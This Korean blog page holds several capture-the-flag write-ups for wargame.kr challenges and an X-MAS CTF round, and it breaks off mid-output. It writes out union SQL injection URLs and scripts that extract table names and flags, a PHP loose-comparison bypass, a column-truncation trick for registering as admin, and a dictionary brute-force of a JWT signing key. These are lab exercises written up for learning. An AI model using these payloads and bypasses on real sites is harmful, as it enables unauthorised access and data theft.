반응형
반응형
반응형

SimpleBoard

 

Simple Union SQL injection Challenge.
(but you need script... maybe?)

 

 

첫 페이지에 글 리스트가 있고

 

글을 클릭해서 내용을 확인할 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }
 
    Class DB {
        private $connector;
 
        function __construct(){
            $this->connector = mysql_connect("localhost""SimpleBoard""SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }
 
        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }
 
        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }
 
        public function just_query($query){
            return $this->real_query($query);
        }
 
        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }
 
    }
 
    Class Board {
        private $db;
        private $table;
 
        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }
 
        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }
 
        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }
 
        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600"/SimpleBoard/");
        }
 
        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }
 
    }
 
cs

 

 

read.php에서 sqli이 가능하다.

http://wargame.kr:8080/SimpleBoard/read.php?idx=1%20union%20select%201,2,3,4%23

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%201,2,3,4%23

다만, idx=5와 같이 존재하지 않는 내용은 70행의 UPDATE 구문에서 오류가 발생한다.

 

inc_hit()함수가 실행되지 않도록, 쿠키['view']에 /5 union select 1,2,3,4# 를 추가해주면 된다.

 

 

 

 

 

NUM TITLE HIT
1 2 3
4
LIST

 

그럼 이렇게 1,2,3,4가 출력된다. 이를 이용해서 테이블명과 칼럼명을 뽑아내보자

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%23

idx=5 union select table_name,2,3,4 from information_schema.tables#

 

NUM TITLE HIT
README 2 3
4
LIST

 

README가 튀어나왔다.

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20column_name,2,3,4%20from%20information_schema.columns%23

idx=5 union select column_name,2,3,4 from information_schema.columns#

 

NUM TITLE HIT
flag 2 3
4
LIST

 

flag가 튀어나왔다.

 

 

 

 

 

 

 

 

 

http://wargame.kr:8080/SimpleBoard/read.php?idx=5%20union%20select%20flag,2,3,4%20from%20README%23

GET FLAG!

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
반응형

pyc decompile

 

bughela.pyc

:D

 

 

 

 

 

servertime 이 표시되며, pyc 파일이 주어진다.

 

pyc는 python에서 import 한 py파일을 컴파일해서 만들어진다.

 

 

 

 

 

 

 

pyc 디컴파일은 간단하다.

 

sudo pip install uncompyle6
uncompyle6 bughela.pyc 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# uncompyle6 version 3.6.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.9 (default, Nov  7 2019, 10:44:02) 
# [GCC 8.3.0]
# Embedded file name: bughela.py
# Compiled at: 2015-02-09 16:13:20
import time
from sys import exit
from hashlib import sha512
 
def main():
    print 'import me :D'
 
 
def GIVE_ME_FLAG(flag):
    if flag[:43!= 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'
 
 
def die():
    print 'NOPE...'
    exit()
 
 
if __name__ == '__main__':
    main()
 
cs

 

19행부터 24행의 과정을 거쳐서 flag값을 만들어낸다.

 

해당 코드만 뽑아서 flag를 가져오는 코드를 작성하였다.

 

 

 

주의 할 점은 서버의 시간과 로컬의 시간이 맞지 않다.

따라서 로컬의 시간을 서버의 시간으로 맞춰주어야 한다. (10행에서 보정)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import time
from hashlib import sha512
 
url= 'http://wargame.kr:8080/pyc_decompile/?flag='
 
now = time.localtime(time.time())
seed = time.strftime('%m/%d/HJEJSH', time.localtime())
hs = sha512(seed).hexdigest()
start = now.tm_hour % 3 + 1
end = start * ((now.tm_min+8) % 30 + 10)
ok = hs[start:end]
print ok
 
 
import urllib
import urllib2
 
 
url += ok
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
print data
 
cs

 

 

 

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [ip log table] 풀이  (0) 2020.01.04
Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
반응형

web chatting

Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.

 

 

 

로그인을 해서 페이지소스를 보면, 채팅 내용 갱신을 위해 

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=54772

 

이렇게 chatview.php에 인자갑으로 t=1과 ni값을 보내주고 있다.

 

 

이 ni값에 50000 or 1과 같은 값을 입력했더니 모든 채팅내용을 확인할 수 있는 것으로 보아, sqli가 가능함을 알 수 있다.

 

그러나 앞으로 공격은 스크립트로 해야할 것 같다. 브라우저를 이용할 경우, 내용이 너무 많아 브라우저가 멈춰서 전체 내용을 확인할 수 없기 때문이다.

 

 

 

 

 

 

 

 

 

 

일단, union을 사용해서 sqli를 시도했다.

ni=54772 union select 1,2,3,4,5 --

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,2,3,4,5 --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

그 결과, 마지막행에 아래 내용이 출력되었다.

 

2 (5..*.) : 3

 

select 했던 2, 3, 5가 나온 것이다. 

 

 

 

 

 

 

 

 

이제 information_schema 테이블이 이용해서 테이블 이름과 칼럼 이름 리스트를 확인할 수 있다.

ni=54772 union select 1,table_name,3,4,5 from information_schema.tables --

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib
import urllib2
import re
 
payload = "54772 union select 1,table_name,3,4,5 from information_schema.tables --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
 
print url
 
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie''PHPSESSID=cookie')
request.get_method = lambda:'GET'
 
data = opener.open(request)
data = data.read()
 
data = data.replace("<br />""\n")
data = re.sub('<.+?>''', data, 0, re.I|re.S)
print data
 
cs

 

 

INNODB_SYS_FOREIGN (5..*.) : 3
INNODB_SYS_COLUMNS (5..*.) : 3
INNODB_FT_DEFAULT_STOPWORD (5..*.) : 3
INNODB_BUFFER_PAGE (5..*.) : 3
INNODB_CHANGED_PAGES (5..*.) : 3
chat_log (5..*.) : 3
chat_log_secret (5..*.) : 3

 

 

 

 

 

 

 

 

 

 

 

readme라고 하는 칼럼명을 확인 할 수 있다. 그러면, chat_log_secret 테이블에 readme라고 하는 칼럼이 있다는 것을 예측할 수 있다.

 

 

 

 

 

 

 

한번 확인해 보면,

마지막 줄에 플래그값이 출력된다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [SimpleBoard] 풀이  (0) 2020.01.04
Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
반응형

EASY_CrackMe

 

Simple Reverse Engineering Challenge.


Find the Password!! xD
패스워드를 찾아보세요!! xD

CrackMe1st.exe (compiled on Windows7 Visual studio 2008)]

 

 

 

ida로 열어보자

 

wcsstr() 함수는 문자열을 검색하는 함수이다.

 

_my_b 와 birth가 존재하는지를 찾아내는 것이다.

 

_wtoi는 문자열에 있는 숫자를 찾아서 정수로 반환해준다.

 

 

따라서 패스워드는 1114_my_birth

 

 

http://wargame.kr:8080/prob/18/ps.php?p=1114_my_birth

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [pyc decompile] 풀이  (0) 2020.01.04
Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
반응형

php? c?

 

 

do you know "integer type" of 32bit application?

 

 

입력칸이 2개가 있다.

D1

D2

 

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 require("../lib.php"); // include for auth_code function.
 if(isset($_POST['d1']) && isset($_POST['d2'])){
  $input1=(int)$_POST['d1'];
  $input2=(int)$_POST['d2'];
  if(!is_file("/tmp/p7")){exec("gcc -o /tmp/p7 ./p7.c");}
  $result=exec("/tmp/p7 ".$input1);
  if($result!=1 && $result==$input2){echo auth_code("php? c?");}else{echo "try again!";}
 }else{echo ":p";}
?>
<style>
 table {background-color:#000; color:#fff;}
 td {background-color:#444;}
</style>
<hr />
 <center>
  <form method='post'>
  <table>
  <tr><td>D1:</td><td><input type='text' id="firstf" style="width:75px;" maxlength="9" name='d1'></td></tr>
  <tr><td>D2:</td><td><input type='text' style="width:75px;" name='d2'></td></tr>
  <tr><td colspan="2" style="text-align:center;"><input type='submit' value='try'></td></tr>
  </table>
  </form>
 <div><a href='?view-source'>get source</a></div>
 </center>
 <script>
  document.getElementById("firstf").focus();
 </script>
cs

 

p7 에 인자값으로 input1을 줘서 실행 값이 1이 아니면서 input2와 값이 같으면 플래그를 얻을 수 있다.

 

p7.c를 확인해보자

http://wargame.kr:8080/php_c/p7.c

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
void nono();
int main(int argc,char **argv){
 int i;
 if(argc!=2){nono();}
 i=atoi(argv[1]);
 if(i<0){nono();}
 i=i+5;
 if(i>4){nono();}
 if(i<5){printf("%d",i);}
 return 0;
}
void nono(){
  printf("%d",1);
  exit(1);
}
cs

 

8행 : i가 음수이면 안됨

 

10행 : i+5 가 4보다 크면 안됨

11행 : i+5가 5보다 작으면 안됨

 

 

이 조건을 모두 만족하는 i는 없는 것 처럼 보이지만, intager overflow를 하면 모든 조건문을 통과할 수 있다.

 

int의 최댓값+1이 되면 0 또는 음수값으로 인식을 하기 때문이다.

https://m.blog.naver.com/wwwkasa/80180210172

 

정수 오버플로우(Integer Overflow)

# 정수 오버플로우(Integer Overflow) 1. 개요 정수형 변수의 오버플로우는 정수값이 증가하면서 허용된 ...

blog.naver.com

 

d1 : 2147483643

d2 : -2147483648

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [web chatting] 풀이  (0) 2020.01.01
Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
반응형

img recovery

Recovery the PNG image file!

but.. is this really "PNG" file?
(NO STEGANOGRAPHY. THIS IS FORENSIC CHALLENGE)

 

코드를 찾으라고 한다.

 

이미지라고는 pattern.png 밖에 없는 듯 하다.

 

해당 파일을 다운받아서 분석해보았다.

 

 

TweakPNG 로 열어보면

PNG파일의 확장포멧인 APNG파일임을 알 수 있다.

https://ko.wikipedia.org/wiki/APNG

 

APNG - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 애니메이션 포터블 네트워크 그래픽스애니메이션 PNG (일부 웹 브라우저에서는 정적인 이미지로 표시됨)파일 확장자.png .apng발표일2008년 8월 4일 (11년 전)(2008-08-04)포맷 종류애니메이션 래스터 이미지 포맷다음으로부터 확장PNG오픈 포맷?예 APNG(Animated Portable Network Graphics)는 PNG를 확장한 이미지 파일 포맷으로, Stuart Parmenter와 Vladimir

ko.wikipedia.org

 

 

 

 

 

도구를 이용해서 이미지를 분리해 내자

 

 

https://ezgif.com/split

 

Split animated GIF image in frames (free online tool)

This online tool is designed to convert an animated GIF (and WebM, APNG, MNG) image into individual frames for editing or viewing them separately.

ezgif.com

 

 

 

 

다운받은 이미지와 웹브라우저에 봤던 이미지와 다른데, 

 

생긴게 qr코드 처럼 생겼다.

 

포토샵으로 두 개를 겹치면 qr코드를 얻을 수 있고, 스캔하면 코드를 얻을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [EASY_CrackMe] 풀이  (0) 2020.01.01
Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
반응형

type confusion

Simple Compare Challenge.

hint? you can see the title of this challenge.

:D

 

 

와 간단 비교 챌린지!

 

힌트는 이 문제의 제목이라고 한다. type confusion 타입을 혼동

 

 

 

페이지 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true"flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }
 
 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_"true);
    $key = sha1($key);
     return $key;
 }
?>
 
<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>
cs

 

usleep(500000); == sleep(0.5);

 

 

$key값은 sha1( welcome to wargame.kr!_[마이크로초단위의 타임스탬프] ) 이다.

 

$key값을 맞출 수는 없다.

 

 

 

 

11행을 보면  == 느슨한 비교를 하고 있다.

 

true == "string" 는 true다.

 

php 느슨한 비교 라고 검색을 해보면 ture false 표가 나온다. 참고하자.

 

 

 

 

 

우리는 $json->key 값에 true를 보내면 된다.

첫 페이지 소스를 보면, check 버튼을 누르면, submit_check(this); 함수를 호출한다.

해당 함수는 http://wargame.kr:8080/type_confusion/util.js에 정의되어있다.

 

 

 

정의된 함수를 가져와서 key값에 true가 들어가도록 재정의 해주었다. 크롬 개발자도구 콘솔창을 이용하면 된다.

 

 

25행 수정

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var lock = false;
function submit_check(f){
    if (lock) {
        alert("waiting..");
        return false;
    }
    lock = true;
    var key = f.key.value;
    if (key == "") {
        alert("please fill the input box.");
        lock = false;
        return false;
    }
 
    submit(key);
 
    return false;
}
 
function submit(key){
    $.ajax({
        type : "POST",
        async : false,
        url : "./index.php",
        data : {json:JSON.stringify({key: true})},
        dataType : 'json'
    }).done(function(result){
        if (result['code'== true) {
            document.write("Congratulations! flag is " + result['flag']);
        } else {
            alert("nope...");
        }
        lock = false;
    });
}
cs

 

그러면 입력란에 아무거나 입력하고 check를 누르면 flag를 얻을 수 있다.

 

 

 

 

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [php? c?] 풀이  (0) 2019.12.31
Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
반응형

tmitter

you need login with "admin"s id!

===========================

create table tmitter_user(
idx int auto_increment primary key,
id char(32),
ps char(32)
);

 

 

join.php의 소스를 보면, 하단에 힌트가 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
<head>
 <style>
  body {background-color:#eef;}
  table td {text-align:center; background-color:#dde;}
  .ex {text-align:left; color:#99a; font-size:9pt;}
 </style>
 <script>
  function chk(f){
   if(f.id.value.length<4){alert("chk id"); return false;}
   if(f.ps.value.length<7){alert("chk ps"); return false;}
   return true;
  }
 </script>
</head>
<body>
<center>
 <img src="./tmitter.png">
 <form onsubmit="return chk(this);" method="post">
  <table>
   <tr><td>ID</td><td><input type="text" name="id" maxlength="32"></td><td class="ex">at least 4char</td></tr>
   <tr><td>PS</td><td><input type="password" name="ps" maxlength="32"></td><td class="ex">at least 7char</td></tr>
   <tr><td colspan=2><input type="submit" value="join"></td></tr>
  </table>
 </form>
</body>
<!-- hint : you need join with admin -->
 
cs

 

admin으로 회원가입을 해야 한다.

 

그러나 id가 admin인 계정을 생성하려고 하면, admin이라는 계정이 존재한다고 나온다.

 

 

 

php 페이지 상에서 trim(id) 한 값이 db에 있는 id중에 있는지 확인 한 후, db에 들어가는 것 같다.

trim() : 문자열의 앞과 뒤의 공백을 제거

 

 

 

"admin"+""*(32-5)+"dummy"를 id에 입력해주면

 

"admin"+""*(32-5)+"dummy" != "admin" 이기 때문에 존재하지 않는 id가 되며,

 

id char(32) --> id에는 32글자밖에 못들어가므로, "admin"+""*(32-5)+"dummy" 중 32글자가 들어가고, 뒤에 dummy가 잘리게 된다. 뒤에 남은 공백은 trim으로 날라가서 id가 admin으로 가입이 완료된다.

 

 

 

가입 페이지의 id입력란 길이가 32글자로 제한되어 있는데, f12개발자 도구 이용해서 간단히 수정해주면 된다.

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [img recovery] 풀이  (0) 2019.12.31
Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
반응형

https://x-mas.aleph.kr/

 

 

Weathering_With_You{Kato_Megumi}팀에서 문제를 풀었습니다.

 

 

Strange Elephpant (misc)

Something wrong happened to my cute elephpant.. :(

 

 

코끼리와 가위바위보를 하면 된다.

 

 

 

코끼리가 낸 가위 바위 보를 보고 조건에 맞춰서 가위 바위 보를 내면 된다. 제한시간은 2초.

어딘가 잘못된 PHP 코끼리에게 져 주세요!

어딘가 잘못된 PHP 코끼리와 비겨주세요!

어딘가 잘못된 PHP 코끼리를 이겨주세요!

 

 

 

 

문제를 손으로 풀려는 시도를 하던 중에 한 가지 사실을 알아 낼 수 있었다.

 

새로고침을 계속 해도

1. 이긴 라운드의 수는 초기화되지 않는다.
2. 제한시간은 초기화된다.
(마지막으로 새로고침한 시점 이후 2초가 지나야 time out. 새로고침을 2초 이상 해도 상관이 없다.)
3. 코끼리와 조건만 바뀔 뿐

 

 

이를 이용해서, 조건이 '비겨주세요'가 나올 때 까지 무한 새로고침해서 코끼리가 낸 것을 보고 그대로 내주면 된다.

이 과정을 100번해서 플래그를 얻을 수 있었다. (하고 나면 손이 저린다.)

 

 

 

FLAG : XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}

코끼리 아저씨 는 코가 손 이래

 

 

 

 


 

 

JWT (web)

Plz crack jwt

 

 

소스코드 파일도 제공되었다.

 

 

src/routes/bruth.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
const { UserBruth, BoardBruth } = require('../sequelize');
 
const jwt = require('jsonwebtoken');
const express = require('express');
const router = express.Router();
 
const CONF = require('../config');
const { wrap, getHash } = require('../func');
 
router.use(express.static(`${__dirname}/../static/bruth`));
 
router.use((req, res, next) => {
  const token = req.cookies.token_b;
  if (token) {
    jwt.verify(token, CONF.jwt.bruth.key, CONF.jwt.bruth.options, (err, decoded) => {
      if (err) {
        if (err.name === 'TokenExpiredError') {
          return res.send({ code: 401, msg: '토큰이 만료되었습니다' });
        } else if (err.name === 'JsonWebTokenError') {
          return res.send({ code: 401, msg: '토큰에 에러가 있습니다' });
        } else {
          return res.send({ code: 401, msg: "토큰 인증 절차에 오류가 발생했습니다", err: err.message });
        }
      } else {
        req.auth = decoded;
        next();
      }
    });
  } else {
    next();
  }
});
 
router.post('/join', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const u = await UserBruth.findOne({
    where: { username },
    attributes: ['id'],
  });
  if (u) return res.send({ code: 423 });
 
  const user = await UserBruth.create({
    username,
    password: getHash(password)
  });
 
  res.send({ code: 200, id: await user.get('id') });
}));
 
router.post('/login', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const user = await UserBruth.findOne({
    where: {
      username,
      password: getHash(password)
    },
    attributes: ['id'],
  });
  if (!user) return res.send({ code: 404 });
 
  const token = jwt.sign(
    {
      uid: user.id,
      isAdmin: false
    },
    CONF.jwt.bruth.key,
    CONF.jwt.bruth.options
  );
  res.cookie('token_b', token, { httpOnly: true });
  res.send({ code: 200 });
}));
 
router.get('/logout', (req, res) => {
  res.cookie('token_b''', { maxAge: Date.now() });
  res.redirect('.');
});
 
router.get('/me', needAuth, wrap(async (req, res) => {
  const { uid } = req.auth;
 
  const user = await UserBruth.findOne({ where: { id: uid }, attributes: ['username'] });
  if (!user) return res.send({ code: 500 });
 
  res.send({ code: 200, username: user.username });
}));
 
router.get('/flag', wrap(async (req, res) => {
  if (!req.auth) return res.send({ code: 401 });
  if (!req.auth.isAdmin) return res.send({ code: 403 });
 
  res.send({ code: 200, flag: CONF.flag.bruth });
}));
 
function needAuth(req, res, next) {
  if (!req.auth) return res.send({ code: 401 });
  next();
}
 
module.exports = router;
cs

 

 

 

93행을 보면, /flag로 접근하면

 

로그인이 되어 있는지 검증 (94행)

isAdmin값이 True인지 검증 (95행)  을 해서 flag를 준다.

 

 

 

isAdmin은 로그인시 jwt token값에 들어간다. (70행)

 

해당 토근 값은 로그인 후, token_b 쿠키값에서 확인할 수 있다.

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

 

 

 

 

 

 

jwt는 .으로 구분되며 header.payload.signature 와 같은 구조를 하고 있다.

 

 

 

아래 사이트에서 내용을 평문으로 확인 할 수 있다. (base64로 봐도 된다.)

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

 

 

isAdmin이 Fasle로 되어 있는데 True로 바꿔주면 된다.

 

 

 

그러나 그냥 바꾸게되면 signature 부분 때문에 효력이 없어진다.

 

payload를 바꾸고 서명까지 완벽하게 하기 위해서는 secret값이 필요하다.

 

 

 

 

 

src/config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const fs = require('fs');
 
module.exports = {
  http: {
    port: 8011,
    flagPort: 8012,
  },
  https: {
    use: false,
    port: 443,
    key: './src/ssl/private.key',
    cert: './src/ssl/certificate.crt',
  },
  db: {
    host: 'mysql',
    port: '3306',
    database: '',
    user: '',
    password: '',
  },
  jwt: {
    bruth: {
      key: '********'// 0~9, 8 length
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1d',
        algorithm: 'HS256',
      }
    },
    csrf: {
      key: {
        private: fs.readFileSync('./keys/private.key'),
        public: fs.readFileSync('./keys/public.key'),
      },
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1h',
        algorithm: 'RS256',
      },
    },
  },
  flag: {
    bruth: '',
    csrf: '',
  },
  hashSort: '',
  password: '',
}
 
cs

23행을 보면 key값은 0~9로 이루어진 8자리라는 힌트를 얻을 수 있다.

 

 

 

 

 

 

 

 

 

 

key값을 구하기 위해 brute force attack을 사용했다.

 

 

0. crunch로 사전 파일을 생성한다.

 

$crunch 8 8 1234567890 -o ./pw.txt

 

최소길이 8, 최대길이 8, 조합1234567890, output

 

 

 

 

1. jwtcat을 이용하여 brute force attack

 

https://github.com/aress31/jwtcat

 

aress31/jwtcat

JSON Web Token (JWT) cracker. Contribute to aress31/jwtcat development by creating an account on GitHub.

github.com

 

 

$ python3 jwtcat.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q -w ./pw.txt
[INFO] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q 
[INFO] Wordlist: ./pw.txt 
[INFO] Starting brute-force attacks
[WARNING] Pour yourself some coffee, this might take a while...
[INFO] Secret key: 40906795 
[INFO] Secret key saved to location: jwtpot.potfile 
[INFO] Finished in 2233.2587053775787 sec

Ryzen 1700의 16개 쓰레드중 3개 사용(가상머신)하여 37분 소요됐다. (중간진행상황을 안보여줘서 불편..)

 

 

 

 

2. jwt-tool을 이용해서 토큰의 내용을 수정해준다.

 

https://github.com/ticarpi/jwt_tool

 

ticarpi/jwt_tool

:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - ticarpi/jwt_tool

github.com

 

$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
